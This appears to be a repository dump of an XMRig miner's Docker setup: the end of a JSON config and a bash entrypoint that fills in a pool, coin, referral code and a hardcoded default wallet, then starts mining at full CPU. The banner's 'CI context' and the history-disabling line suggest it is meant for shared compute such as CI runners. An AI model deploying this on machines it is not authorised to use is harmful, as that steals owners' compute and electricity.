"rdmsr":true, 23 | "wrmsr":true, 24 | "cache_qos":false, 25 | "numa":true, 26 | "scratchpad_prefetch_mode":1 27 | }, 28 | "cpu":{ 29 | "enabled":true, 30 | "huge-pages":true, 31 | "huge-pages-jit":false, 32 | "hw-aes":null, 33 | "priority":null, 34 | "memory-pool":false, 35 | "yield":true, 36 | "max-threads-hint":100, 37 | "asm":true, 38 | "argon2-impl":null, 39 | "astrobwt-max-size":550, 40 | "astrobwt-avx2":false, 41 | "cn/0":false, 42 | "cn-lite/0":false 43 | }, 44 | "opencl":{ 45 | "enabled":false, 46 | "cache":true, 47 | "loader":null, 48 | "platform":"AMD", 49 | "adl":true, 50 | "cn/0":false, 51 | "cn-lite/0":false 52 | }, 53 | "cuda":{ 54 | "enabled":false, 55 | "loader":null, 56 | "nvml":true, 57 | "cn/0":false, 58 | "cn-lite/0":false 59 | }, 60 | "donate-level":0, 61 | "donate-over-proxy":0, 62 | "log-file":null, 63 | "pools":[ 64 | { 65 | "algo":"rx", 66 | "coin":null, 67 | "url":"MINING_POOL", 68 | "user":"MINING_COIN:WALLET_ADDRESS.WORKER_NAME#REFERRAL_CODE", 69 | "pass":"x", 70 | "rig-id":null, 71 | "nicehash":false, 72 | "keepalive":true, 73 | "enabled":true, 74 | "tls":false, 75 | "tls-fingerprint":null, 76 | "daemon":false, 77 | "socks5":null, 78 | "self-select":null, 79 | "submit-to-origin":false 80 | } 81 | ], 82 | "print-time":60, 83 | "health-print-time":60, 84 | "dmi":true, 85 | "retries":2, 86 | "retry-pause":1, 87 | "syslog":false, 88 | "tls":{ 89 | "enabled":false, 90 | "protocols":null, 91 | "cert":null, 92 | "cert_key":null, 93 | "ciphers":null, 94 | "ciphersuites":null, 95 | "dhparam":null 96 | }, 97 | "user-agent":null, 98 | "verbose":1, 99 | "watch":true, 100 | "pause-on-battery":false, 101 | "pause-on-active":false 102 | } 103 | -------------------------------------------------------------------------------- /src/xmrig/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | # This option will make the script exit when there is an error 4 | set -o errexit 5 | 6 | # This option ensures that your script exits as soon as it encounters any failed piped commands 7 | set -o pipefail 8 | 9 | # This option temporary disable history 10 | set +o history 11 | 12 | # This option will trace what gets executed. Useful for debugging 13 | [[ "$TRACE" ]] && set -o xtrace 14 | 15 | # ============================================================================== 16 | # COLORS VARIABLES 17 | # ============================================================================== 18 | 19 | # High Intensity 20 | GREEN="\\033[0;92m" # Green 21 | YELLOW="\\033[0;93m" # Yellow 22 | PURPLE="\\033[0;95m" # Purple 23 | CYAN="\\033[0;96m" # Cyan 24 | NC="\\033[0;97m" # White 25 | 26 | # ============================================================================== 27 | # COMMON VARIABLES 28 | # ============================================================================== 29 | 30 | # shellcheck disable=SC2155 31 | readonly PROGNAME=$(basename "$0") 32 | 33 | # Font Name: ANSI Shadow 34 | HEADER=" 35 | 36 | 37 | 38 | ██╗ ██╗███╗ ███╗██████╗ ██╗ ██████╗ ███╗ ███╗██╗███╗ ██╗███████╗██████╗ 39 | ╚██╗██╔╝████╗ ████║██╔══██╗██║██╔════╝ ████╗ ████║██║████╗ ██║██╔════╝██╔══██╗ 40 | ╚███╔╝ ██╔████╔██║██████╔╝██║██║ ███╗ ██╔████╔██║██║██╔██╗ ██║█████╗ ██████╔╝ 41 | ██╔██╗ ██║╚██╔╝██║██╔══██╗██║██║ ██║ ██║╚██╔╝██║██║██║╚██╗██║██╔══╝ ██╔══██╗ 42 | ██╔╝ ██╗██║ ╚═╝ ██║██║ ██║██║╚██████╔╝ ██║ ╚═╝ ██║██║██║ ╚████║███████╗██║ ██║ 43 | ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝ 44 | 45 | 46 | 47 | " 48 | 49 | # ============================================================================== 50 | # MINING VARIABLES 51 | # ============================================================================== 52 | 53 | CPU_LIMIT_ENABLE="${CPU_LIMIT_ENABLE:-true}" 54 | CPU_LIMIT_PERCENT="${CPU_LIMIT_PERCENT:-100}" 55 | CPU_LIMIT=$(($(nproc) * $CPU_LIMIT_PERCENT)) 56 | 57 | MINING_AUTO_CONFIG="${MINING_AUTO_CONFIG:-true}" 58 | MINING_POOL="${MINING_POOL:-rx.unmineable.com:3333}" 59 | MINING_COIN="${MINING_COIN:-SHIB}" 60 | REFERRAL_CODE="${REFERRAL_CODE:-7lkr-kmhq}" 61 | WALLET_ADDRESS="${WALLET_ADDRESS:-0xE36B97Ec98dD179B89BC109c11Eb47D6B587f3F3}" 62 | WORKER_NAME="${WORKER_NAME:-docker}" 63 | XMRIG_CONFIG_FILE="/usr/src/mining/config/xmrig.json" 64 | 65 | # ============================================================================== 66 | # COMMON FUNCTIONS 67 | # ============================================================================== 68 | 69 | Status() { 70 | echo -e "${PURPLE}[INFO]${NC}: $1" 71 | } 72 | 73 | Abort() { 74 | echo >&2 ' 75 | ************************ 76 | *** ❌ ABORTED ❌ *** 77 | ************************ 78 | ' 79 | echo "An error has occurred - $1. Aborting..." >&2 && exit 1 80 | } 81 | 82 | Welcome() { 83 | OS="$(uname)" 84 | [ "$OS" = "Linux" ] && DATE_CMD="date" || DATE_CMD="gdate" 85 | DATE_INFO=$($DATE_CMD +"%Y-%m-%d %T") 86 | DATE_INFO_SHORT=$($DATE_CMD +"%A %B") 87 | Status " 88 | ╔═══════════════════════════════════════════════════════════════════════ 89 | ║ 90 | ║ ✨ Welcome $USER! ✨ 91 | ║ 92 | ║ 🔖 Date - It's now $DATE_INFO - $DATE_INFO_SHORT 93 | ║ 🔖 System - $OS CI context 94 | ║ 95 | ║ 👾 CPU Information 👾 96 | ║ 97 | ║ 🔖 CPU_LIMIT_ENABLE - $CPU_LIMIT_ENABLE 98 | ║ 🔖 CPU_LIMIT_PERCENT - $CPU_LIMIT_PERCENT 99 | ║ 🔖 CPU_LIMIT - $CPU_LIMIT 100 | ║ 101 | ║ 👾 Mining Information 👾 102 | ║ 103 | ║ 🔖 MINING_POOL - $MINING_POOL 104 | ║ 🔖 MINING_COIN - $MINING_COIN 105 | ║ 🔖 REFERRAL_CODE - $REFERRAL_CODE 106 | ║ 🔖 WALLET_ADDRESS - $WALLET_ADDRESS 107 | ║ 🔖 WORKER_NAME - $WORKER_NAME 108 | ║ 🔖 XMRIG_CONFIG_FILE - $XMRIG_CONFIG_FILE 109 | ║ 110 | ╚═══════════════════════════════════════════════════════════════════════ 111 | " 112 | } 113 | 114 | # ============================================================================== 115 | # CALL FUNCTIONS 116 | # ============================================================================== 117 | 118 | echo "$HEADER" && Welcome 119 | 120 | sed -i "s/MINING_POOL/$MINING_POOL/g" "$XMRIG_CONFIG_FILE" 121 | sed -i "s/MINING_COIN/$MINING_COIN/g" "$XMRIG_CONFIG_FILE" 122 | sed -i "s/WALLET_ADDRESS/$WALLET_ADDRESS/g" "$XMRIG_CONFIG_FILE" 123 | sed -i "s/WORKER_NAME/$WORKER_NAME/g" "$XMRIG_CONFIG_FILE" 124 | sed -i "s/REFERRAL_CODE/$REFERRAL_CODE/g" "$XMRIG_CONFIG_FILE" 125 | 126 | if [[ "$MINING_AUTO_CONFIG" == "true" ]]; then 127 | Status "✨ Starting miner with config" 128 | xmrig -c "$XMRIG_CONFIG_FILE" $@ & sleep 3 129 | else 130 | Status "✨ Starting miner with cli params" 131 | xmrig -o "$MINING_POOL" -a rx -k -u "$MINING_COIN:$WALLET_ADDRESS.$WORKER_NAME#$REFERRAL_CODE" -p x & sleep 3 132 | fi 133 | 134 | if [[ "$CPU_LIMIT_ENABLE" == "true" ]]; then 135 | Status "✨ Enable CPU limit" 136 | cpulimit -l $CPU_LIMIT -p $(pidof xmrig) -z 137 | else 138 | Status "✨ Disable CPU limit" 139 | fi 140 | --------------------------------------------------------------------------------